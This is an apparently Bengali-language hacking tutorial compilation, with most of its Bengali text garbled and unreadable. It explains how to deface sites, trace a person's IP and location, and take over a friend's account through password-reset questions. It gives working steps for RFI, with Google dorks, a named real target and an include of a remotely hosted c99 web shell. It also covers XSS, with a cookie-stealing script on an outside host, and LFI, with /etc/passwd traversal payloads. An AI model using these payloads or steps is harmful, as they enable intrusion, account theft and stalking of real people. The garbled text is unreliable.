সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
কভানডএকতযযায অকতন ধযচছনয কতকছ কতচন সদখচছত াচছফন এয ভাচছন চছে এআ সম সসথানগচছরাচছত পাযাযযার সথান কযা যচছযচছছ মাচছত কচছয সম সকউ চছজ অকরভনকযচছত না াচছয
াধাযন বর-ধাযনা
চছনচছকআঅচছছন মাযা ভচছন কচছযন সম আনটাযচছনট সথচছক সকান উরচকষভতা িনন সপকব াতযতথয ফা তথযাকতদ সদখা ফা জানা মায না অচছর এটি বর ধাযনা ভচছন করন আনটাযচছনচছট চছনচছকআ টপাআর ফা সযকতডচছযাচছযয কতপরকতভযাভ একাউনট সদয মাচছথচছক অকতন উকত ন কতকনত ভযা চছে অকতন জাচছনন না এআ একাউনট সকাথা সথচছক সদযা চছযচছছ অকতন আচছে কযচছরআ এফ তথয জানচছত াচছযন
মখন অকতন কভানড একতযযায সকান চছযফাআচছটয কতফযীচছত nslookup কতরচছখ এনটায কতদচছফনতখন যত এযকভ সরখা অচছত াচছয সম You are now authentized to this route
এযকভ কতকছ সরখা সদখচছরআ অকতন ফচছঝ সনচছফন সম আ চছযফাআচছট সপকব াতয তথযযচছযচছছ আ চছযফাআট িচছকব কতফসতাকতযত জানচছত অকতন কতনচছচয চছযফাআটগচছরাফযফায কযচছত াচছযন
wwwsamspadecomwwwdnsstuffcomwwwwhoisnet wwwwhois ঐ কর চছযফাআচছট শধভাতর চছযফাআটটিয নাভ কতদচছযআ অকতন এযঅআকত সথান ভাকতরচছকয নাভ কচছফ সকনা চছযচছছ সভযাদ কত কতদচছনয নদকতনক কতবকতজটযংখযা সনভ াবব ায আতযাকতদ কতফকতবনন তথয জানচছত াযচছফন তথয সজাগাি কযাএকজন যাকাচছযয পরাথকতভক কাজ এটি না কযচছর অকতন কতকছআ কযচছত াযচছফন না
কতরচছখচছছনঃ সভচছকতদ াান
আচছভআর দাতায অআকত ননধান
অনায সভআরফকস খরন তায সথচছক সমচছকান একটি আচছভআর খরন Reply-সত কতিককরন এফায Show original এ কতিক করন এখন সম তথযগচছরা অচছফ সগচছরা খফবাচছরাবাচছফ সখযার করন সখাচছনআ অকতন যত আচছভআর দাতায অআকত সদখচছত াচছফন কতকনত gmail সথচছক মকতদ সকউ অনাচছক সভআর কচছয তাচছর এআ িকতত নাচছয অকতন অআকত খচছজ াচছফন না এখন উায যা যা কতসথয চছফন না একষকতন তা ফরকতছ
অচছর ভর ফযাাযটি চছে gmail ফভয https ফযফায কচছয অভযা াধাযনত চছযফাআচছটয এচছেচছ সদখচছত াআ http মায িণব র চছে Hyper Text Transfer Protocol অয https চছে এআ http এয secured র অা ককতয ফঝচছত সচছযচছছন মায কাযচছনআ কতজচছভআচছর অকতন অআকত খচছজ াচছফন না এখন সমআ িকততটিয কথা অনাচছদয ফরফ সটি চছে পরায ফ ধযচছনয আচছভআর এচছে (আযাহচছভআর কতজচছভআর এভএএন আতযাকতদ) সথচছক অআকত সফয কযায িকততপরথচছভআ httpreadnotifycom াআটটি খরন এযয এখাচছন সযকতজচছেন করনএখন অকতন মায আচছভআর এচছে ননধান কযচছত চান তায ফযাযফ একটি সভআর কতরখন এফায আচছভআর ট সকন একতযযায কতরখন
victimlsquosemailidrednotifycom াঠিচছয কতদন মখন স আচছভআরটি িচছফ তখন সবযংকতকরযবাচছফ অনায কতযডচছনাটিপাআ একাউচছনট তায অআকত চচছর অচছফ অচছর কতযডচছনাটিপাআ একটি সবযংকতকরয রকাচছনা ছকতফ অনায আচছভআচছরয াচছথ ঐ ফযাকতি ফযাফয াঠিচছয সদয মায পচছর অকতন তায অআকত সচছয মান িকততটি খফ কাচছজয
ঐ চছযফ াআড টি ছনদ না চছর গচছরা ফযফায কযচছফনঃ
httpwwwdidtheyreaditcom
httpwwwpointofmailcom
ফসথান ননধান অভযা সতা অআকত সরাভ এফায সদখফ কতকবাচছফ ঐ ফযাকতিয ফসথান িচছকব জানা মায থবাৎ ফযাকতিটি সকান সদচছয সকান চছয অচছছ তা জানাপরথচছভআ httpwwwip2locationcom াআটটি খরন এআ াআটটিয খাকতর ঘচছয অনায কাকতিত অআকত এচছেটি ফকতচছয কতদন অয ভজা সদখন
অকতন মায াচছথ চযাটিং কযচছছন তায ফসথান জানা
অকতন মায াচছথ চযাটিং কযচছছন তাচছক তায অআকত মবচছনধ কতজচছগয করন সফরচছর সতা ফরচছত চছফ অনায বাগয পরনন অয না ফরচছর কতক কযচছফন একট চছকষা করন ফরকতছ এখাচছন একটি ফযাায উচছেখ কযায ভত অয তা চছে অচছগ অভযা একটি কভাচছনডয াচছথ কতযকতচত চছযকতছরাভ netstat -n এয কথা ভচছন অচছছ যা এআকভানডটি খফআ গরতবণব অকতন আনটাযচছনচছট মতগচছরা কাচছনকচছনয াচছথ মি অচছছন ঠিক ততগচছরায তথযআ এআ কভানডটিয ভাধযচছভ াযা মাচছফ অচছযকট সবচছে ফরকতছ ধরন ভচছন করন অকতন সপফচছককতজচছভআচছর এফং সটকটিউনচছ একআ চছে পরচছফকচছয অচছছন উচছযয কভানডটি এআ কততনটি াবব ায িচছকব আ অনায কাচছছ তথযাপলাআ কযচছফ ফতব ভাচছন আনটাযচছনচছট এক এক ফযাকতি চযাটিং এয এক এক নথাফযফায কচছয সমভন ICQ Messenger
MSN Messenger Yahoo Messenger Gtalk Meebo Gigsby AIM আতযাকতদ তাচছর ফঝন কতটক ঝাচছভরায কাজ কযচছত মাচছেন অকতন অয এ কাযচছনআ কতনচছচ ধাচছ ধাচছ কচছযকটি সকষতর সদযা র রকষকরন
সকষতর-১ মকতদ অকতন ICQ Messenger এ চযাট কচছযন অয সখাচছনয কায ফসথান জানচছত চান তাচছর এ িকততটি কাচছজ রাগান ICQ Messenger এয কাজ কযায ধযন চছে (অকতন-gtঅনায ফনধ-gtঅকতন) এআবাচছফ তাআ কায অআকত ংগর কযাএচছকষচছতর খফ জ কাজ ভচছন করন অকতন কায অআকত জানচছত চাচছেন তাচছর তাচছক কতট করন কতকনত চযাটিং শর কযচছফন না এফায Start-gtRun-gtcmd-gtnetstat -nএনটায কতদন সম অআকতগচছরা অচছফ তা সকান যাপ কাগচছজ কতরচছখ যাখন এফায অকতন তায াচছথ চযাটিং অযমভ করন অফায Start-gtRun-gtcmd-
gtnetstat -nএনটায কতদন এফায অকতন সখাচছন নতনএকটি অআকত সদখচছত াচছফন অয এআ ফযাকতিয াচছথআঅকতন এখন চযাটিং এ ফযাসতএফায কতকবাচছফ তায ফসথান সফয কযচছফন তা কতনশচযআ অয ফচছর কতদচছত চছফ না
সকষতর-২
Yahoo Messenger MSN Messenger GTalk Messenger এয সকষচছতর উচছযাি সভচছনজাযগচছরায কাজ কযায ধযন চছে (অকতন-সভচছনজাচছযযাবব ায-অনায ফনধ) এআবাচছফ এখাচছন মকতদ অকতন সকষতর-১ এয িকতত কাচছজ রাগান তাচছর অকতন সভচছনজাচছযয অআকত াচছফন ফযাকতিয না এআচছকষচছতর অকতন চারাচছত াচছযন সাযার আকতনজকতনযাকতযং মকতদ এটা কতনচছয যফতী ধযাচছয অচছরাচনা চছফ তথাকত এখাচছন কতকছ কতযকতচকতত সদযা চছে সাযার আকতনজকতনযাকতযং চছে কাউচছক সফাকা ফাকতনচছয তাচছক যাকতকং কযা অয এআ সভচছনজাচছযয সকষচছতর (ভচছন যাখচছফন কতধকাং সভচছনজাযআ এআ কাজটি কচছয থাচছক) অকতন অনায াচছথ চযাটিংকত ফযাকতিটিচছক ফরন অনায কাচছছ সকান পাআর াঠাচছত ফা তাচছক অকতনকতকছ াঠাচছত াচছযন সটা চছত াচছয সকান ছকতফ ফা অনায ছকতফ মকতদ স যাকতজ য তাচছর সকষতর-১ এয িকতত চাকতরচছয মান মখন অকতন তায াচছথ চযাটিং কযচছফন তখন অকতন কততকতযি সম অআকত এচছেটি সদখচছত াচছফন সটি চছে সভচছনজাচছযযঅআকত অয মখন স অনায কাচছছ সকান কতকছ াঠাচছফ তখন অচছযকটি নতন অআকত সদখচছতাচছফন সটি চছে তায অআকত এছািা অয একটি উায অচছছ তা র অকতন তাচছক অনায কাচছছ একটি সভআর াঠাচছত ফরচছত াচছযন মখনআ স সভআর াঠাচছফ অকতন কতযডচছনাটিপাআ িকতত চাকতরচছয মান মা অচছগ ফরা চছযচছছ সকান পরশন
সকষতর-৩
Meebo Gigsby Trillion আতযাকতদ ভাকতি চযাটিং আকতনজচছনয সকষচছতর এচছকষচছতর সকান িকতত সনআ শধ এতটকআ কযা মায তা র অকতন ফরচছত াচছযন অনাচছক সভআর কযচছত অয অকতন কতযডচছনাটিপাআ িকতত চারাচছত াচছযন অচছর কায অআকত াযা সতভন কঠিন কাজ নয অয এটা সতভন ফি ধযচছনয কাজ নয অআকতএচছেচছয ফযাাচছয ফরচছত সগচছর চছনক কথা ফরচছত য অআকত এচছে যচছযচছছ কতফকতবনন ধযচছনয অফায সখাচছন াফচছনট অআকতড এফং সাে অআকতড নাভক ফযাায যচছযচছছ এছািা অকতন একটি চছযফাআট শধ অআকত এচছে কতরচছখআ পরচছফ কযচছত াচছযন মকতদ সখাচছন সকসা টরানসপায এফং সকাসটরা টরানসপায নাভক ব
কতরচছখচছছনঃ সভচছকতদ াান
সাযার আকতনজকতনযাকতযং শধভাতর আনটাযচছনট জগচছতয াচছথআ মি নয ফযং তাঅভাচছদয সবাবাকতফক জীফনমাতরায াচছথ জকতিতঅকতন সকান সভচছযয াচছথ দ-নমবকতয (জ ফাংরা ফযফায কযরাভ-কতকছ ভচছন কযচছফন না) কযচছর সটা চছফ সাযার আকতনজকতনযাকতযং কতনচছজয কাচছমািব াচছযয জনয চছযয কাচছছ কতভথযা ফরচছর সটা চছফ সাযার আকতনজকতনযাকতযং ভরত কতনচছজয কাচছমািব াচছযয জনয চছযয সকান র কষকততাধন কযাচছকআ ফচছর সাযার আকতনজকতনযাকতযং
অনায ফনধয একাউনট যাকতকং কযচছত চাআচছর Forget password এ কতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐ কর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযনচছতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয
মখন সটকতরচছপান পরথভ অকতফষকত র তখন কতফচছশবয পরথভ যাকায সটকতরচছপাচছনয ফযফাযকতফকতধ খফবাচছরাবাচছফ মচছফকষবন কযর স সদখর সম মখন অভযা কাউচছক করচছদআ তখন এআকরটি পরথচছভ সটকতরচছপান কতপচছ মায চছয কাকতিত ফযাকতিটিয কাচছছ মায তখনযাকায কতকছ চকচছরট নতযী কচছয তায চছকচছট যাখর াচছথ যাখর একটি ফাকতস এআ ফরর সম চকচছরচছটয াচছথ এটা একটি কতগফট এফায ভানচছলযা এফং তাচছদয ফারচাযা ফাকতগচছরা িাযা য তরচছত রাগর মায পচছর কতি র একধযচছনয তযে মা সটকতরচছপান াবব াচছযয তযচছেয ভত এটাআ যফতীচছত যাকাযচছদয াযাকতফচছশব কতফনাভচছরয কর কযচছত াাময কযর
িণব পরকযাটি রকষ করন স শধ কতনচছজয কতচনতা কাচছজ রাগার এফংএকটি সছাটফাকত নতযী কযর তাচছর সদখন সাযার আকতনজকতনযাকতযং খফআগরতবনবঅকতন সকান কতকছচছক ফি কযচছত চছর সাযার আকতনজকতনযাকতযং এযাাময ফযাকতততমভফ নয
অনায ফনধয কব ট একাউনট যাকতকং কযচছতচাআচছর Forget password একতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐকর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযন সতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয
মিািযা িআসজজসিোসরিংমের লসিলাী িিংজঞা
ভানলকতক বাচব যার জগচছত মাকতচত কাজ সমভন সকান কচছবাচছযট কতপচছয সনটযাচছকব পরচছফ তাচছদয নরাআন কতকতকউকতযটি পাযাযযার একাউনট আতযাকতদ কতনকতফিবাচছফ মচছফকষবন কচছয তাচছত অকরভন কযা এচছকষচছতর কতফকতবনন ধযচছনয পটযযাচছযয াাময সনযা মায ফা কতনচছজয ফানাচছনা সকান াডব যযায ফা সকাকতডং কাচছজ রাগাচছনা মায
ভচছন করন অনায আচছভআচছর এর এযকভ একটি ফাতব া সম Congrats You have got 100000 free visitor CLICK
HERE for withdraw এবাচছফ পরকততকতদন ভগর কতফচছশব াজায াজায ভানল তাচছদয সকরকতডটকাচছডব য তথয কতফকতবননগরতবণব তথয নরাআচছন জভা কতদচছে অয যাকতকংচছযয কতকায চছে সাযার আকতনজকতনযাকতযং কতনচছনাি কচছযকটি বাচছগকতফবি
ndashgtimpersonation
mdashgtposing as imp user
mdashgt3rd person approach
mdashgttechnical support
কসিউটার সভসিক মিািযা িআসজজসিোসরিং
কতনচছচয কচছযকটি বাচছগ কতফবি
ndashgtmailim attachments
ndashgtpop up windows
mdashgtsweepstakes
mdashgtspam mail
এআ ধযাচছযয এখাচছনআ ভাকতি ভচছন যাখচছফন সকান কাজ কযায অচছগ এয সাযার আকতনজকতনযাকতযংচছযয ফযাযটি খফ বাচছরাবাচছফ নধাফন কযা উকতচত মখন অভযা কায আচছভআচছর সকান কতকছ াঠাআ এফং স মকতদ কতকছ াঠায সটাআ সাযার আকতনজকতনযাকতযং অয এবাচছফআ অভযা সাযার আকতনজকতনযাকতযং কাউচছক সটরাজান ফা কী-রগায াঠাচছত ফযফায কযফ ফাআ খফ বাচছরা থাকচছফন
কতরচছখচছছনঃ সভচছকতদ াান
অজ সদখাফ Remote file inclusion যাকতকং অনাযা যত জাচছনন না সম যাকতকং কযায সথচছক যাকতকং কতনচছয সাি সরখা অয কঠিন কিকয মকতদ সাি কযচছতন তাচছর ফঝচছতন থাক সাি কযা রাগচছফ না শধ ভনতফয কযচছরআ চছফ ভনতফয কযচছর সাচছিয সরখক উৎাকতত য এচছত তাচছদয সরখায গকতত সবাচনদয ফাচছি তাচছর অয কথা নয এফায শর চছয মাক সািটিhellip
Remote file inclusion যাকতকং এচছক ংচছকষচছ ফচছর RFI যাকতকং এটি ননযা যাকতকং ভযাথচছডয ভচছধয এটি একটি নযতভ জনকতপরয ভযাথড নযনযা িকততয ভচছতা এআ িকততচছত অনাচছক চছযফাআচছটয vulnerability সফয কযচছত চছফ এআ vulnerability এয ভাধযচছভ একজন যাকায একটি চছযফ াবব াচছযয remote file মি কযচছত াচছয অা ককতয RFI যাকতকং িচছকব সভাটাভটি ধাযণা সচছযচছছন
mdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdash
mdashmdashmdashmdashmdash
সকান াআটটি vulnerable কতকবাচছফ ফঝচছফন খফআ কঠিন পরশন তাআ না এআ পরচছশনয উততয জানায জনয কতনচছচয কতরংকটি সদচছখনhellip
httpwwwtargetsitecomindexphppage=Anything
উচছযয কতরংচছকয ভচছতাআ সদখচছত াচছফন সমগচছরা অকতন খজচছেন তনন তনন কচছয এখন এগচছরা ফাকতয কযচছফন কতকবাচছফ গগর ডকদযকায কতনন কতনচছচ গগর ডক কতদরাভ
ldquoinurlindexphppage=rdquo
উচছযয ডকটি গগচছর কতনচছয াচব কতদন তাচছর অনাচছক ―indexphppage= এআ টাআচছয মত চছযফাআট অচছছ
ফগচছরা চছযফাআট গগর অনায াভচছন এচছন াকতজয কযচছফ এখন সকান চছযফাআটটি অজচছকয ভযাথচছডয জনয vulnerable তা যীকষা কচছয সদখচছত চছফ কতকবাচছফ কযচছফন কতনচছচয ভচছতা কচছয করন
httpwwwtargetsitecomindexphppage=wwwgooglecom
এখন ভচছন কচছযন অকতভ অকতভ httpwwwcbspkcomএআ াআটটি খচছজ সচছযকতছ এখন অভযা চাআফ এটা vulnerable কতক না তাচছর কতরখনhellip
httpwwwcbspkcomv2indexphppage=httpwwwtunerpagecom
তাচছর এটি সদখাচছফhellip
এখন মকতদ উি চছযফাআটটি নয চছযফাআট কতনচছয সখাচছর তাচছর ফঝচছফন সম এআ চছযফ াআচছট RFI আচছেকান সদযা মাচছফ এফায অন চছযয ধাচছhellip
এযয াধাযণত যাকাযযা তায কতবকটিচছভয চছযফাআচছট সম সকান Shells অচছরাড কচছয মাচছত তায কাজটি ফাআচছক সদখাচছত ভাচছন পরভাণটি সফকতযবাগ যাকাযযা c99 shell ফা r57 shell অচছরাড কচছয অকতভ অনাচছদয সদখাফ c99 shell অচছরাড কযা এজনয যাকাযযা সম সকান একটি চছযফচছািটিং াআচছট তাচছদয সর অচছরাড কচছয সনয সমভন-ripwaycom 110mbcom আতযাকতদ এখন ভচছন কচছযন অকতভ ripwaycom এআ াআচছট সর অচছরাড কযরাভ তাচছর অভায কতরংক চছফhellip
httph1ripwaycomtjunselectedc99shellphp
এফায যাকায চছযফাআটটিচছত একটি কভানড কতদচছফ কভানডটি চছফ httpwwwcbspkcomv2indexphppage=httph1ripwaycomtjunselectedc99shellphp
এখন তাচছর এটি চছযফাআট সদখফ সদচছখন কতক সদচছখন
তচছফ ফযআ ভচছন যাখচছফন কতরংচছকয সচছলldquo rdquo পরশনচছফাধক কতচহনটি রাকতগচছয কতদচছফন নতফা অনায সর কাজ কযচছফ না
কতনফবাকতচতটিউনাযtrade
XSS কতক
XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web
Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয
ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600
xss-threat3jpg
XSS Vulnerability and Injection
যাপ ১ Vulnerable মেব িািআট োমজ মবর করা
অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks
ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=
তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন
যাপ ২ Vulnerability পরীো করা
এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন
না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password
Vulnerability যীকষা কযা জনয দটি িকতত অচছছ
পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয
http2bpblogspotcom-
8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg
পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here
যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন
এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-
পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন
সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=
এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable
যাপ ৩ Malicious Scripts মদো
Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ
এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ
httpattackerSitemaliciousjs
এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ
এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ
িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent
Persistent XSS
এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage
Non-Persistent XSS
এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily
একজি হযাকার এিআ Vulnerability সদমে সক কমর
কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা
চছযফ াআচছটয Bypassing restriction
Session Hijacking Malware Attack
Website Defacement Dos attacks
কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর
শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম
অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে
যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক
LFI
যাকাযচছদয
একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র
Local File Inclusionঅজ
অনাচছদয
াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য
পরথচছভ
কতনচছচয PHP সকাডগচছরা
সদখনhellip
$page=$_GET[page] include($page)
gt
উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক
কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ
wwwmywebsitecomindexphppage=productsphp
অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম
এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র
wwwmywebsitecomindexphppage=mypagephp
এখাচছন
সদচছখন mypagephp াতাটি
াবব াচছয
সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-
Warning
include() [functioninclude] Failed opening mypagephp for
inclusion
তাচছর
এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd
এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
এখন
অভযা পাআচছর
পরচছফ
কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip
wwwmywebsitecomindexphppage=products
এখাচছন
একটা কতজকতন রকষয করন সম
php এয
য page=products যচছযচছছ
এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র
$page=$_GET[page]
include($pagelsquophplsquo)
gt
এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpassd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip
etcprofile
etcservices
etcpasswd
etcshadow
etcgroup
etcsecuritygroup
etcsecuritypasswd
etcsecurityuser
etcsecurityenviron
etcsecuritylimits
usrlibsecuritymkuserdefault
এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ
------------------------------------------------------------------------------------------
hellipএবার িঅমরা হযাসকিং মদেবhellip
Requirements
1) Site vulnerable to LFI ( httpwwwsitecom)
2) Remoteshell( httpwwwyourhostingurshelltxt)
3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher
4) Mozilla Firefox Browser
পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা
